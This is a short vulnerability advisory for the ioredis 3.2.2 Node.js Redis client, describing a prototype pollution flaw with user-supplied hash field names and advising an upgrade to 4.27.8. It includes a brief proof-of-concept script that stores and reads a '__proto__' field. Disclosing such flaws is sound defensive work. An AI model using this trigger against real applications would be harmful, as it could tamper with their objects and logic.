ioredis@3.2.2 vulnerabilities

ioredis is a Redis client for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution. The reply transformer which is applied does not check for special field names. This only impacts applications that are directly allowing user-provided field names.

PoC

// Redis server running on localhost
const Redis = require("ioredis");
const client = new Redis();

async function f1() {
        await client.hset('test_key', ['__proto__', 'hello']);
        console.log('hget:', await client.hget('test_key', '__proto__')); // "hello"
        console.log('hgetall:', await client.hgetall('test_key')); // does not include __proto__: hello
}

f1();

Upgrade ioredis to version 4.27.8 or higher.